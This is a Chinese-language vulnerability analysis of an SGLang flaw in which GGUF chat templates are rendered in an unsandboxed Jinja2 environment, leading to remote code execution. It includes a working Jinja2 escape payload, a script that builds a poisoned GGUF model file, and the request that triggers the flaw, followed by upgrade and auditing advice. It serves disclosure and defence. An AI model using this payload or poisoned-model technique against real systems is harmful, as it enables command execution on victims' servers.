SGLang GGUF 投毒致 RCE 漏洞(CVE-2026-5760)
该漏洞存在于大模型推理引擎 SGLang 中(影响 v0.5.9 及以下版本)。其核心逻辑非常直接:SGLang 在处理 /v1/rerank 请求时,会读取 GGUF 模型文件中的 tokenizer.chat_template 字段,并将其放入一个无沙箱限制的 Jinja2 环境中进行渲染。
攻击者只需构造一个恶意的 GGUF 文件并上传至 HuggingFace,任何使用 SGLang 加载该模型并对外提供 Rerank 服务的受害者,都会在收到第一个请求时被执行任意系统命令。

漏洞信息概览
在深入代码之前,先明确该漏洞的基本面:
属性 | 详情 |
CVE 编号 | CVE-2026-5760 |
CVSS 评分 | 9.8 (Critical) |
漏洞类型 | 服务端模板注入 (SSTI) 导致远程代码执行 (RCE) |
影响组件 | SGLang (sgl-project/sglang) |
影响版本 |
|
修复版本 |
及以上 |
攻击向量 | 恶意的 GGUF 或 Safetensors 模型文件 |
源码审计:从路由到无沙箱渲染
漏洞的触发链路位于 python/sglang/srt/entrypoints/openai/serving_rerank.py。我们顺着一个正常的 /v1/rerank 请求的生命周期来追踪。
1. 路由判定:伪装成 Qwen3 Reranker
当 SGLang 收到 Rerank 请求时,需要决定将其交给哪个后端处理器。这一步由 _detect_rerank_backend 函数负责:
def _detect_rerank_backend(
*,
request: V1RerankReqInput,
chat_template: Optional[str],
model_path: str,
) -> str:
is_multimodal = request.is_multimodal()
is_vl_model = _is_qwen3_vl_model(model_path)
is_vl_template = _is_qwen3_vl_reranker_template(chat_template)
is_text_template = _is_qwen3_reranker_template(chat_template)
if is_vl_template or is_vl_model or (is_multimodal and is_text_template):
return "vl_decoder"
if is_text_template:
return "text_decoder"
return "cross_encoder"这里的关键在于 is_text_template 的判定逻辑。跟进 _is_qwen3_reranker_template 函数,我们发现它的检测非常简单粗暴,仅仅是字符串匹配:
def _is_qwen3_reranker_template(chat_template: str) -> bool:
if not chat_template:
return False
t = chat_template.lower()
return ('answer can only be "yes" or "no"' in t) or (
"answer can only be" in t and '"yes"' in t and '"no"' in t
)只要模型自带的 chat_template 中包含 answer can only be "yes" or "no" 这句话,请求就会被无条件路由到 text_decoder 路径。这为攻击者提供了一个极其简单的"通行证"。

2. 漏洞核心:原生的 Jinja2 Environment
进入 text_decoder 路径后,程序会调用 _render_jinja_chat_template 函数来渲染模板。这个函数首先通过 _get_jinja_env() 获取模板引擎环境:
def _get_jinja_env():
try:
import jinja2
except ModuleNotFoundError as e:
raise ValueError(...) from e
# 漏洞点:直接使用了原生的 jinja2.Environment
return jinja2.Environment(
loader=jinja2.BaseLoader(),
autoescape=False,
undefined=jinja2.Undefined,
)这是整个漏洞的根因所在。在处理外部不可信的模板内容时,安全的做法是使用 jinja2.sandbox.ImmutableSandboxedEnvironment,它会拦截对敏感属性(如 __globals__、__subclasses__)的访问。而 SGLang 在此处使用了标准的 jinja2.Environment,相当于赋予了模板执行任意 Python 代码的权限 [2]。
3. 上下文传递:并不影响 Payload 执行
获取环境后,程序开始渲染模板:
def _render_jinja_chat_template(
chat_template: str,
*,
query: RerankContent,
document: RerankContent,
instruct: Optional[str],
) -> str:
env = _get_jinja_env()
template = env.from_string(chat_template)
query_text = query if isinstance(query, str) else _extract_text_from_content(query)
doc_text = document if isinstance(document, str) else _extract_text_from_content(document)
render_kwargs = {
"messages": [
{"role": "user", "content": query_text},
{"role": "user", "content": doc_text},
]
}
return template.render(**render_kwargs)虽然 render_kwargs 中只传入了 messages 字典,但这并不能限制 Jinja2 SSTI 的威力。因为在无沙箱环境中,攻击者根本不需要依赖传入的变量,直接利用 Jinja2 内置的全局函数即可完成逃逸。
Jinja2 SSTI:利用 lipsum 逃逸沙箱
在原生的 Jinja2 环境中,有一些函数被默认注入到了全局命名空间中,例如 lipsum(用于生成 Lorem Ipsum 测试文本)、range、dict 等。
在 Python 中,所有的函数对象都有一个 __globals__ 属性,它是一个字典,包含了该函数定义所在模块的全局命名空间。
我们可以通过一个简单的脚本来验证 lipsum 的逃逸链路:
#test.py
import jinja2
import inspect
env = jinja2.Environment(loader=jinja2.BaseLoader(), autoescape=False)
lipsum = env.globals['lipsum']
print(f"lipsum 定义文件: {inspect.getfile(lipsum)}")
print(f"os 模块是否在 __globals__ 中: {'os' in lipsum.__globals__}")
执行结果显示 lipsum 定义在 jinja2.utils 模块中,而该模块在其顶部导入了 os。因此,lipsum.__globals__["os"] 直接指向了 Python 的原生 os 模块。
最终的 RCE Payload 呼之欲出:
{{ lipsum.__globals__["os"].popen("id").read() }}如果 SGLang 使用了 ImmutableSandboxedEnvironment,在渲染时 Jinja2 会抛出 SecurityError: access to attribute '__globals__' of 'function' object is unsafe,从而阻断攻击。

GGUF 投毒:将 Payload 写入模型
GGUF 是一种专为大模型推理设计的二进制文件格式 [3]。一个标准的 GGUF 文件结构如下:
- Header (24 字节):包含 Magic Bytes(大端序为
0x47475546,即 "GGUF")、版本号、Tensor 数量和 KV 元数据数量。 - Metadata KV Pairs:一系列键值对,用于存储模型的架构、层数、分词器配置等。
- Tensor Data:庞大的权重矩阵数据。
我们需要在 Metadata KV 区域中,伪造一个名为 tokenizer.chat_template 的字符串类型键值对。

在 GGUF 格式中,字符串类型的 Value Type 编码为 8。使用 gguf 官方 Python 库,我们可以非常轻易地构造出一个体积不到 1MB 的恶意模型:
import numpy as np
from gguf import GGUFWriter
# 1. 满足 _is_qwen3_reranker_template 的特征字符串
# 2. Jinja2 SSTI RCE Payload
# 3. 正常渲染 messages,避免报错中断流程
PAYLOAD = (
'The answer can only be "yes" or "no".\n'
'{{ lipsum.__globals__["os"].popen("id && uname -a").read() }}'
'{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
writer = GGUFWriter("malicious_reranker.gguf", arch="qwen3")
writer.add_name("Qwen3-Reranker-Evil")
writer.add_chat_template(PAYLOAD)
# 添加一个极小的空 Tensor 以保证文件结构合法
writer.add_tensor("token_embd.weight", np.zeros((1, 1), dtype=np.float32))
writer.write_header_to_file()
writer.write_kv_data_to_file()
writer.write_tensors_to_file()
writer.close()利用十六进制查看器观察生成的 malicious_reranker.gguf,可以在文件头偏移 0x18(24字节)之后,清晰地看到被注入的模板字符串及其长度前缀。
端到端复现
1. 启动靶机
安装漏洞版本的 SGLang,并编写一个精简的 vuln_server.py 来模拟加载模型并对外提供 /v1/rerank 接口:
sudo pip3 install gguf numpy jinja2 fastapi "uvicorn[standard]" requests \
-i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com
python3 vuln_server.py
2. 触发漏洞
假设攻击者已经将上述生成的 malicious_reranker.gguf 上传到了靶机所在的服务器。
现在,我们向靶机发送一个完全正常的 Rerank 请求:
curl -s -X POST http://localhost:30000/v1/rerank \
-H "Content-Type: application/json" \
-d '{
"model": "reranker",
"query": "What is the capital of France?",
"documents": ["Paris is the capital of France."]
}'![]()
查看靶机的返回结果,我们可以看到 id 和 uname -a 的执行输出被混入了正常渲染的模板文本中,并通过调试字段(或实际应用中的日志)回显:

至此,从 GGUF 投毒到无沙箱渲染,再到最终的命令执行,整条攻击链路得到了完整的实战验证。
防御建议
CVE-2026-5760 的出现提醒我们,AI 模型文件早已不再是单纯的权重矩阵,它们内部包含的代码片段、序列化对象(如 Pickle)和模板引擎配置,同样具有极高的破坏力。
- 立即升级组件检查业务环境中 SGLang 的版本。SGLang 官方已在
0.5.10版本中修复了该漏洞,将jinja2.Environment替换为了安全的沙箱环境。
模型文件静态审计在引入外部 GGUF 或 Safetensors 模型时,不应盲目加载。可以使用 gguf-dump 等工具提取并审查 Metadata 区域:
- gguf-dump model.gguf | grep -i "chat_template" -A 5
重点排查模板中是否包含 __globals__、__subclasses__、__builtins__ 等 Jinja2 逃逸关键字。
- 最小权限原则与网络隔离运行 AI 推理框架的容器或宿主机,应严格限制其系统权限,并配置出站网络策略(Egress Filtering),阻断反弹 Shell 或数据外带的企图。
参考资料
[1] CERT/CC. (2026). VU#915947: SGLang vulnerable to Remote Code Execution via GGUF model poisoning. https://www.kb.cert.org/vuls/id/915947
[2] Jinja2 Documentation. (n.d.). Sandbox. https://jinja.palletsprojects.com/en/stable/sandbox/
[3] GGML Organization. (n.d.). GGUF File Format Specification. https://github.com/ggml-、org/ggml/blob/master/docs/gguf.md